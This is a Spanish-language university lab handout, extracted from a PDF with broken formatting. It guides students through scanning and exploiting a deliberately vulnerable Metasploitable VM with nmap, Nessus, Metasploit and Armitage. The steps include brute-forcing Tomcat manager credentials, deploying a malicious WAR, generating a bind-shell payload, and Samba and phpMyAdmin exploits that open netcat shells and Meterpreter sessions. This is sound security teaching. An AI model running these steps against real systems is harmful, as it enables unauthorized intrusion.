Documente Academic
Documente Profesional
Documente Cultură
SSI 2013/14
21 de octubre de 2013
Indice
1. Entorno de pruebas
1.1. Im
agenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2. Ejercicio 1: Enumeraci
on de equipos y servicios y detecci
on de vulnerabilidades
1
2
2.1. Descripci
on . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2. Enumeraci
on con NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3. Ejercicio 2: Explotaci
on de vulnerabilidades con Metasploit
3.1. Descripci
on . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.2. Uso de m
odulos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.3. Explotaci
on de Tomcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
10
11
12
13
3.4. Documentaci
on a entregar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
1.
1.1.
Entorno de pruebas
Im
agenes a utilizar
Im
agenes de partida
1. Script de instalaci
on: ejercicio-metasploit.sh
2. Ejecutar desde el directorio de descarga
alumno@pc:~$ bash ejercicio-metasploit.sh
3. El script descargar
a las siguientes im
agenes en el directorio $HOME/SSI1314
atacante.vdi: Imagen VirtualBox de la maquina con el framework Metasploit y otras herramientas complementarias.
Usuarios configurados.
login
password
root
purple
usuario1 usuario1
usuario2 usuario2
metasploitable.vdi: Imagen VirtualBox de la maquina vulnerable Metasploitable (se corresponde con
la versi
on 1.0 de esta m
aquina junto con algunos a
nadidos)
M
as informaci
on (de Mestasploitable2): Metasploitable 2 Exploitability Guide
swap.vdi: Imagen VirtualBox de una unidad de disco formateada como SWAP
4. Se pedir
a un identificador (sin esapcios) para poder reutilizar las versiones personalidas de las imagenes creadas
5. Arrancar las instancias VirtualBOX (si no lo hacen desde el script anterior) desde el interfaz grafico o desde
la lnea de comandos.
VBoxManage startvm ATACANTE-<id>
VBoxManage startvm METASPLOITABLE-<id>
Importante: Despues de finalizar cada ejercicio terminar la ejecucion de la maquina virtual desde lnea de
comandos con halt o sudo halt o desde el interfaz grafico LXDE.
2.
2.1.
Ejercicio 1: Enumeraci
on de equipos y servicios y detecci
on de vulnerabilidades
Descripci
on
En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de
intrusi
on (exploraci
on y enumeraci
on). Se trata del escaner de puertos NMAP y del escaner de vulnerabilidades
NESSUS.
1. NMAP es un escaner de puertos con capacidad de identificacion de servicios y sistemas operativos, tambien posee
funcionalidades de evasi
on y ocultaci
on del escaneo.
http://www.nmap.org
http://es.wikipedia.org/wiki/Nmap
2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una coleccion de plugins
bajo registro sin coste para uso no comercial (Home Feed ) y una coleccion profesional mas actualizada bajo
subscripci
on de pago (Professional Feed ).
http://www.nessus.org
http://en.wikipedia.org/wiki/Nessus (software)
Nota: Aunque inicialmente NESSUS era un proyecto de codigo abierto, en la actualidad tiene una licencia
privativa.
El proyecto libre OpenVAS continu
o evolucionando el codigo de antigua version Open Source de NESSUS y
ofrece funcionalidades similares.
2
2.2.
Enumeraci
on con NMAP
Desde la m
aquina ATACANTE
1. Acceder como root (con password purple) y arrancar las X
atacante:~# startx
2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que m
aquinas
est
an conectadas en el segmento de red.
atacante:~# nmap -sP 192.168.100.0/24
Nos informar
a de que hay 2 equipos en la red: la maquna ATACANTE (con direccion IP 192.168.100.111) y la
m
aquina METASPLOITABLE (con direccion IP 192.168.100.222)
3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
atacante:~# nmap -sX nmap.xml -O -sV 192.168.100.222 -p1-65535
Descripci
on de las opciones
-sX nmap.xml especifica el nombre del fichero donde se volcara la salida del escaneo en el formato XML de
NMAP
-O Habilita la identificaci
on del Sistema Operativo de la maquina escaneada
-sV Habilita la identificaci
on de los servicios a la escucha en los puertos descubiertos en la maquina escaneada
192.168.100.222 Direcci
on IP del destino del escaneo
-p1-65535 Rango de puertos a escanear
Resultados obtenidos
Starting Nmap 5.00 ( http://nmap.org ) at 2012-01-30 00:35 CET
Interesting ports on metasploitable.ssi.net (192.168.100.222):
Not shown: 988 closed ports
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
ProFTPD 1.3.1
22/tcp
open ssh
OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp
open telnet
Linux telnetd
25/tcp
open smtp
Exim smtpd 4.69
53/tcp
open domain
ISC BIND 9.4.2
80/tcp
open http
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql
MySQL (Host blocked because of too many connections)
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13?
8080/tcp open http
Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:22:22:22 (Cadmus Computer Systems)
Device type: general purpose|remote management|firewall|WAP|broadband router
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (98%)...
2.3.
3. En la secci
on Scans se definen los escaneos de vulnerabilidades y se programa su ejecucion.
Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una poltica
(Metasploitable) y una lista de objetivos (192.168.100.222) y se lanza ([Launch Scan])
Una vez finalizado, aparecer
a su resultado en la pesta
na Reports
Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar
el resultado de escaneos de vulnerabilidades en formato nessus)
Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado)
El resultado de este escaneo ya est
a exportado en el fichero /root/nessus_report_Escaneo_Metasploit.nessus
Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat
Informa del uso de contrase
nas por defecto en la herramienta web de administracion de Tomcat.
Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu
Informa de que las claves de servidor SSH fueron generadas con una version de openSSL sobre Debian/Ubuntu con un bug en el generador de n
umeros aleatorios.
3.
3.1.
Ejercicio 2: Explotaci
on de vulnerabilidades con Metasploit
Descripci
on
En este ejercicio veremos el uso del Framework Metasploit en tareas de explotacion de vulnerabilidades y acceso a
equipos comprometidos.
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas tpicas de una intrusion, ofreciendo
un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos
y servicios comprometidos. Incluye tambien m
odulos adicionales para las fases de rastreo y enumeracion, adem
as de
poder integrar la informaci
on proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc.
3.1.1.
Arquitectura de Metasploit
Interfaces de usuario
Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del n
ucleo
del propio framework o como proyectos independientes.
msfconsole Consola en modo texto de Metasploit, es el interfaz mas usado y ofrece acceso a la totalidad de funcionalidades del framework.
msfcli Expone las funcionalidades del framework para acceder a ellas desde lnea de comandos y shell scripts.
msfweb Expone las funcionalidades del framework mediante un interfaz web
msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC
(remote procedure call )
5
msfgui Interfaz gr
afico basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd.
Armitage Interfaz gr
afico basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho
m
as amigable, con mejor usabilidad, con asistencia al usuario y automatizacion de determinadas tareas. Accede
a las funcionalidades del framework usando msfrpcd.
otros
msfpayload/msfencode permiten crear (y codificar) payloads desde lnea de comandos. Se usa para generar
ficheros con payloads a desplegar/ejecutar directamente en las vctimas.
msfupdate actualiza mediante svn (subversion) los modulos del framework a la u
ltima version disponible.
3.1.3.
Comandos de msfconsole
3.2.
Uso de msfconsole
Desde la m
aquina ATACANTE: iniciar un terminal y arrancar msfconsole
atacante:~# msfconsole
Escaneo e identificaci
on de equipos y servicios
Metasploit puede configurarse para utilizar una base de datos donde guardar informacion de los equipos localizados, sus
servicios y vulnerabilidades, junto con informaci
on adicional como notas y eventos. Esa informacion puede generarla
el propio Metasploit a partir de sus m
odulos Auxiliary o cargarla a partir de herramientas externas.
1. Lanzar un escaneo de puertos sobre el segmento de red con NMAP y almacenar los resultados
msf > db_nmap 192.168.100.0/24
Se puede recuperar, editar o eliminar informacion de un host o servicio especfico (ver hosts -h o services -h)
3.2.2.
Uso de m
odulos
1. Buscar posibles m
odulos (exploits, etc) a utilizar sobre los servicios identificados en la maquina vctima.
Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd
3.2.3.
Explotaci
on de Tomcat
Debemos especificar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un modulo auxiliar
que prueba un diccionario de pares usuario+clave usando feurza bruta.
2. Extracci
on de credenciales Tomcat (m
odulo auxiliar auxiliary/scanner/http/tomcat_mgr_login)
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > info
Debemos especificar la m
aquina objetivo (RHOSTS: 192.168.100.222), el puerto (RPORT:8080), la URI de la
aplicaci
on de gestion de Tomcat (URI) y los ficheros con los nombres de usuario y las contrase
nas a probar
(USER FILE, PASS FILE).
Bastar
a con especificar el valor de RHOST y RPORT, con el resto de parametros se usaran los valores por
defecto
Desde otro terminal se pueden ver/editar los diccionarios con valores para USER y PASS.
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_pass.txt
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.100.222
RHOSTS => 192.168.100.222
msf auxiliary(tomcat_mgr_login) > run
[*]
[-]
...
[*]
[+]
...
[*]
[-]
[*]
[*]
Nos informa que se puede acceder a la web de administracion de Tomcat con las credenciales tomcat/tomcat
3. Configuraci
on y uso del exploit exploit/multi/http/tomcat_mgr_deploy
msf
msf
Debemos especificar la m
aquina objetivo (RHOST), el puerto (RPORT), el path a la aplicacion de gestion de
Tomcat (PATH) y el nombre de usuario (USERNAME) y la contrase
na (PASSWORD).
msf
msf
msf
msf
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
>
>
>
>
set
set
set
set
RHOST 192.168.100.222
RPORT 8080
USERNAME tomcat
PASSWORD tomcat
Este PAYLOAD tiene sus propias opciones, exige que indiquemos la maquina vctima (RHOST) y el puerto de
escucha en dicha vctima (LPORT)
msf
msf
ls -l
total 76
drwxr-xr-x 2 root root 4096 2010-03-16 19:11
drwxr-xr-x 4 root root 4096 2011-12-10 10:31
...
lrwxrwxrwx 1 root root
30 2011-12-10 09:31
uname -a
Linux metasploitable.ssi.net 2.6.24-30-virtual
...
bin
boot
vmlinuz -> boot/vmlinuz-2.6.24-30-virtual
#1 SMP Mon Nov 28 20:50:52 UTC 2011 i686 GNU/Linux
En la vctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin
terminal asociado.
metasploitable:~$ ps -aux | grep sh
Foreign Address
State
192.168.100.222:11111
ESTABLISHED
Foreign Address
192.168.100.111:43550
State
ESTABLISHED
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
exploit(tomcat_mgr_deploy)
>
>
>
>
>
Foreign Address
State
192.168.100.222:57091
ESTABLISHED
Foreign Address
1192.168.100.111:22222
State
ESTABLISHED
5. Inspecci
on del c
odigo del exploit y del PAYLOAD
Se puede ver el c
odigo Ruby con la implementacion del exploit y del PAYLOAD
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/exploits/multi/http/tomcat_mgr_deploy.rb
< ver funci
on exploit >
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stagers/java/bind_tcp.rb
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stages/java/shell.rb
atacante:~# less /opt/metasploit-4.1.4/msf3/lib/msf/core/payload/java.rb
Tambien est
a disponible el c
odigo Java inyectado por el exploit responsable de crear el interprete de comandos
y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/)
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/Shell.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/Payload.java
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/PayloadServlet.java
Tamien se puede ver el aspecto que tendra un fichero WAR con el PAYLOAD seleccionado (no es exactamente
el que desplegar
a el exploit anterior)
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=192.168.100.222 W > /tmp/ejemplo.war
atacante:~# cd /tmp
atacante:/tmp# jar xvf ejemplo.war
atacante:/tmp# less WEB-INF/web.xml
atacante:/tmp# ls -l WEB-INF/classes/metasploit/*
3.3.
Armitage es un interfaz gr
afico alternativo para Metasploit que pretende simplificar el uso del framework. Hace uso
del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit.
Mejora el interfaz (visualizaci
on de hosts, acceso simplificado a los modulos y a su informacion y opciones, etc)
Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables.
Simplifica la configuraci
on de exploits y payloads.
Permite la gesti
on y coordinaci
on de multiples sesiones abiertas en las vcitmas
9
3.3.1.
Inicio y uso b
asico
Desde un terminal de la m
aquina ATACANTE, arrancar Armitage
atacante:~# armitage &
Al inciarse la aplicaci
on se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd).
Si dicho servidor estuviera en ejecuci
on deberan de especificarse los correspondientes datos.
En caso contrario bastar
a con pinchar en Connect de todos modos y el propio Armitage nos pedira autorizaci
on
para arrancar una nueva instancia del servidor RPC (pinchar en yes). Nota: Mientras el servidor se inicia,
Armitage puede informar de errores de conexion.
Cuando el RPC este listo se inciar
a por s mismo el interfaz grafico.
En la secci
on de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit.
En nuestro caso aparece el host que habamos identificado anteriormente con db_nmap al incio del ejercicio. De ser
necesario podran lanzarse nuevos escaneos desde Armitage [[Men
u Hosts] -> Import / NmapScan / etc ])
Vincular posibles ataques a un host vctima Armitage ofrece la funcionalidad de cruzar la informaci
on sobre
servicios de un hosts con la informaci
on de los exploits para vincular a una maquina una lista de los potenciales
ataques.
Seleccionar el host (192.168.100.222)
Sobre el men
u seleccionar [Men
u Attack] -> Find Attacks
Armitage comprueba que exploits son compatibles con cada uno de los servicios vinculados al host seleccionado (no va mucho m
as all
a que comprobar nombres de servicio y versiones)
Es frecuente que la mayora de los ataques/exploits propuestos no sean aplicables (falsos positivos)
Una vez completada la vinculaci
on se a
nade al icono del hosts un submen
u contextual Attacks con la lista de
posibles ataques.
La opci
on [Men
u Attack] -> HailMary va un paso mas alla.
Adem
as de cruzar servicios y exploits para determinales cuales podran ser usados este comando intenta explotarlos.
Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto.
En los casos donde el exploit tiene exito se crea una sesion con la vctima.
Nota: en la mayora de los casos las opciones por defecto que usara Hail Mary no son las adecuadas y la explotaci
on
no tendr
a exito.
Suele ser necesario fijar opciones adecuadas y comprobar los exploit manualmente.
3.3.2.
Hacia el final de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de
una lnea (opci
on -e one line script).
Ese script es el c
odigo insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la
m
aquina atacante y ejecutar con la funci
on Perl system() lo que se reciba a traves de ese socket.
Accediendo a la opci
on Post modules del men
u contextual vinculado a la sesion con la vcitma se muestran en el
rbol izquierdo la lista de m
a
odulos de post explotacion admitidos por el PAYLOAD actual.
Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo.
En cada uno de esos m
odulos debemos indicar en la opcion SESSION el no de sesion (o no de shell) vinculado a
la conexi
on obtenida por el exploit correspondiente.
Probar enum_linux, enum_services [para verlos ir a Men
u view -> loot], etc)
3.3.3.
Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la m
aquina comprometida.
1. Sobre el host (192.168.100.222) [bot
on derecho] -> Attacks -> samba -> usermap_script
2. Se usar
a el exploit exploit/multi/samba/usermap_script
Si en la vctima se comprueban los procesos en ejecucion, de nuevo saldran cosas extra
nas.
metasploitable:~# ps -aux | less
metasploitable:~# pstree -aclu | less
En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat
redirecciona la E/S de un interprete de comandos sobre un puerto de la maquina atacante.
USER
root
...
root
...
0.0
0.3
VSZ
2848
RSS TTY
1688 ?
1776
484 ?
STAT START
Ss
19:23
TIME COMMAND
0:00 /sbin/init
19:49
11
3.3.4.
Lanzaremos de nuevo el exploit con un PAYLOAD mas sofisticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t
que carga la herramienta Meterpreter en la vctima (en este caso el codigo inyectado por el PAYLOAD es PHP)
Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplificar las tareas de explotaci
on,
post explotaci
on y escalada de privilegios.
Inicialmente fue desarrollado para vctimas MS Windows, aunque existen variantes para otras arquitecturas,
aunque no con todas las funcionalidades.
Pasos a seguir:
1. Cerrar (disconnect) la sesi
on arrancada actualmente.
2. Sobre la pesta
na exploit de la consola de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config
cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp
msf exploit(phpmyadmin_config) > show options
msf exploit(phpmyadmin_config) > exploit
3. Se abre un men
u contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las
opciones concretas de este PAYLOAD.
En la opci
on Interact se abre un shell de Meterpreter con un conjunto de comandos especficos para tareas
de post explotaci
on
En la opci
on Explore incluye un navegador de archivos grafico, un visor de procesos y un herramienta de
captura de pantalla (depende del tipo de vctima [no funciona con GNU/linux en modo texto])
En la opci
on Pivoting se pueden configurar los parametros necesarios para que el equipo comprometido
funcione como pivote, act
uando como punto intermedio en el analisis y ataque con Metasploit a otras
m
aquinas accesibles desde dicha vctima.
4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)
Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la
vctima y no todos estar
an disponibles.
3.3.5.
3.4.
Documentaci
on a entregar
13